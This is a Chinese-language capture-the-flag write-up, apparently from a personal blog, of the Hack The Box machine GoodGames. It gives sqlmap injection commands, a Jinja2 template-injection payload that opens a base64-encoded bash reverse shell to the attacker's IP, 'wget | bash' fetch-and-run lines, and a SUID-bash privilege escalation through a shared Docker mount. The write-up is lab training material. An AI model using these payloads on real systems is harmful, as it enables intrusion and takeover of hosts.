HTB-GoodGames
1 | ip='10.129.96.71' |
SQL注入
显然,有SQL注入

1 | ``` |
直接拿sqlmap跑

注意如果--suffix="--+",反而会出错,用+是为了传进去把他变成空格,那sqlmap命令直接写空格即可

1 | sqlmap -u "http://10.129.96.71/login" --data="email=1&password=test" -p 'email' --prefix="'" --suffix="-- " --proxy http://127.0.0.1:8080 --union-cols=4 --technique=U --skip-static --dbms=mysql -D main --tables --ignore-redirects |
1 | sqlmap -u "http://10.129.96.71/login" --data="email=1&password=test" -p 'email' --prefix="'" --suffix="-- " --proxy http://127.0.0.1:8080 --union-cols=4 --technique=U --skip-static --ignore-redirects --dbms=mysql -D main -T user --columns |
1 | sqlmap -u "http://10.129.96.71/login" --data="email=1&password=test" -p 'email' --prefix="'" --suffix="-- " --proxy http://127.0.0.1:8080 --union-cols=4 --technique=U --skip-static --ignore-redirects --dbms=mysql -D main -T user --dump |

账号admin@goodgames.htb,密码解出来为superadministrator
进来又是一个面板


开源的东西,github搜了下没洞,真的假的
一样的账号密码能登进来

SSTI
存在SSTI

复习一下

是python3


1 | <Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'S3cr3t_K#Key', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE |
1 | {{''.__class__.__mro__[1].__subclasses__()}} |

找了半天终于找到个能用的
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %} |

1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}{% endif %}{% endfor %} |
直接反弹shell
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('echo${IFS}YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40Mi80NDMgMD4mMSI=${IFS}|base64${IFS}-d|bash').read()") }}{% endif %}{% endfor %} |
md,有时候不是payload有问题,而是编码问题

又是docker

docker逃逸
挂载逃逸失败

1 | wget http://10.10.16.42:8000/container-escape-check.sh -O- | bash |

1 | wget http://10.10.16.42:8000/1.c |
CVE-2020-14386失败

1 | wget http://10.10.16.42:8000/2.c |
仔细看df -h,这里挂载磁盘到home目录了

1 | script /dev/null bash |
有点扯,先看网卡,能访问172.19.0.1的22,然后切个tty,用之前的密码superadministrator登ssh


提权
首先docker挂载home目录,所以在宿主机复制一个bash过来

然后回到docker,因为在docker里是root权限,所以给个4755(suid权限),这样就可以手动suid提权


再登录ssh,直接提权结束,superadministrator
1 | ssh augustus@172.19.0.1 |

ad9b4ea7e99e152ee7d204a8d4f2cd8b
1 | uid=1000(augustus) gid=1000(augustus) euid=0(root) groups=1000(augustus) |
- 标题: HTB-GoodGames
- 作者: metafa1ica
- 创建于 : 2025-07-29 22:04:51
- 更新于 : 2025-08-17 13:29:28
- 链接: https://metafa1ica.github.io/post/37d5881c4f49/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论